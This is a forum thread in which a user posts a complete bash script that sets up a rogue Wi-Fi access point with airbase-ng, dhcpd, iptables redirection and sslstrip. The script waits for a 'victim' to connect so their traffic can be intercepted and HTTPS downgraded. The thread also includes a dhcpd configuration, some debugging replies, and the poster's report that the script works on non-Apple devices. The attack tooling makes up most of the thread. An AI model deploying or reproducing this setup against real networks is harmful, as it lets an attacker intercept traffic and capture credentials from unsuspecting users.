Results 1 to 4 of 4

Thread: What's the hell with my Rogue AP's Script ?

  1. #1
    Junior Member
    Join Date
    Jan 2010
    Posts
    31

    Default What's the hell with my Rogue AP's Script ?

    #!/bin/bash

    Hello all !

    I read a lot about Rogues AP and now i've made a script to try to make it workable.
    My knowledge is apparently low but i try to understand all, so here is my script :



    Code:
    #############################
    #  _______________________________________    #    
    #  |           My Fake AP SCRIPT           |            #
    #  |                             |            #
    #  |         Script Made by Carto_     |    #
    #  |                        |            #
    #  |             VERSION ONE             |            #
    #  |_____________________________________|    #
    #                        #
    #                                      #
    #  Carto_ []                    #
    #                          #
    #                                                #
    #                        #
    #################################################
    
    
    killall -9 dhcpd tcpdump airbase-ng
    airmon-ng stop mon0
    airmon-ng stop mon1
    airmon-ng stop mon2
    
    
    echo "Activating IP FORWARD";
    echo 1 > /proc/sys/net/ipv4/ip_forward;
    cat /proc/sys/net/ipv4/ip_forward;
    echo -e "$GREEN""***[ ACTIVATION SUCCESS ]***""$END" ;
    
    
    echo "Connected interface (wlan0, eth0 ?)";
    read IFACE;
    echo
    
    echo "Interface used to create the Rogue AP (wlan0, wlan1)";
    read WIFACE
    
    airmon-ng start $WIFACE
    modprobe tun
    
    echo "What is the name of your Fake AP ? "
    read NAME_AP
    
    xterm -hold -e airbase-ng -P -C 30 -c 10 -e $NAME_AP -v mon0 &>/dev/null &
    sleep 2
    
    modprobe tun ;
    ifconfig at0 up ;
    ifconfig at0 192.168.1.129 netmask 255.255.255.128 ;
    ifconfig at0 mtu 1400 ;
    route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129 ;
    
    
    mkdir -p /var/run/dhcpd && chown dhcpd:dhcpd /var/run/dhcpd
    echo > '/var/lib/dhcp3/dhcpd.leases'
    xterm -hold -e dhcpd3 -d -f -cf /root/dhcpd/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0 &> /dev/null &
    sleep 2
    
    echo
    echo "What's your DNS SERVER  ? (80.10.246.2  for the Livebox and 212.27.40.240 for Freebox )";
    read DNS
    
    
    iptables --flush ;
    iptables --table nat --flush ;
    iptables --delete-chain ;
    iptables --table nat --delete-chain ;
    iptables --table nat --append POSTROUTING --out-interface $IFACE -j MASQUERADE ;
    iptables --append FORWARD --in-interface at0 -j ACCEPT ;
    iptables -t nat -A PREROUTING -p udp -j DNAT --to $DNS ;
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 ;
    
    xterm -hold -e sslstrip -a -k -f &> /dev/null &
    sleep 2
    
    
    echo
    echo "SCRIPT IS WORKING, ATTENDING VICTIM'S CONNEXION ... "
    
    else
    echo "Try Again without making mistakes, looser !"
    fi
    So, it don't work for me ... here is my configuration :

    - Freebox on 192.192.168.1.1
    - BT4 R1 Live on my first Laptop
    - Internet with the cart attached to the laptop
    - Rogue AP with my Alpha 36H

    - A Macbook pro to try to connect to the Rogue AP
    - An iPhone to try to connect to the Rogue Ap too

    When i'm connected with the iPhone or/and with the Macbook to the Rogue AP i can't surf on the internet but i can ping the iPhone with my Macbook, and i have IP on the two (iPhone and Macbook).


    So, i don't understand at all why it's isn't working well ...

    My script is apparently so stupid but i can't find why ... If you have some time to help me, it will be soooo nice.

    I hope that my problem can find a solution and i apologize for my english which is not very good.


    Your faithfully,


    Carto_

    I just forgot an important point, here is the dhcpd.conf i use :


    Code:
    ddns-update-style ad-hoc;
    default-lease-time 600;
    max-lease-time 7200;
    authoritative;
    subnet 192.168.1.128 netmask 255.255.255.128 {
    option subnet-mask 255.255.255.128;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.129;
    option domain-name-servers 192.168.1.1;
    range 192.168.1.130 192.168.1.140;
    }
    Thx in advance for your help !

    Apparently, the problem comes from the DHCP part of the script. Is anyone have an idea about it ?

    Thx in advance !

    Carto_
    Last edited by Archangel-Amael; 09-20-2010 at 08:50 AM.

  2. #2
    Very good friend of the forum Gitsnik's Avatar
    Join Date
    Jan 2010
    Location
    The Crystal Wind
    Posts
    851

    Default Re: What's the hell with my Rogue AP's Script ?

    Playing a Hunch: You're not changing permissions on the dhcp.leases file.
    Still not underestimating the power...

    There is no such thing as bad information - There is truth in the data, so you sift it all, even the crap stuff.

  3. #3
    Junior Member
    Join Date
    Jan 2010
    Posts
    31

    Default Re : What's the hell with my Rogue AP's Script ?

    Of course i do, not in the script but permissions are O.K.

  4. #4
    Junior Member
    Join Date
    Jan 2010
    Posts
    31

    Default Re : What's the hell with my Rogue AP's Script ?

    Mmmmm, actually my script is working great.

    I don't understand why but it doesn't work with Apple devices (iPhone or Macbook) but with another devices, all is going well.

    :-)

Similar Threads

  1. rogue AP + MITM (tutorial or script request)
    By Lucifer in forum Beginners Forum
    Replies: 8
    Last Post: 04-12-2010, 12:40 AM
  2. What the hell is going on???
    By JETP1L0T in forum OLD Newbie Area
    Replies: 1
    Last Post: 11-30-2008, 08:16 AM
  3. ped_new_disk!!!! what the hell is this????
    By raaki_88 in forum OLD LiveCD Support
    Replies: 5
    Last Post: 02-18-2008, 05:54 AM
  4. kde go in hell
    By shamanvirtuel in forum OLD BackTrack v2.0 Final
    Replies: 4
    Last Post: 05-17-2007, 08:36 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •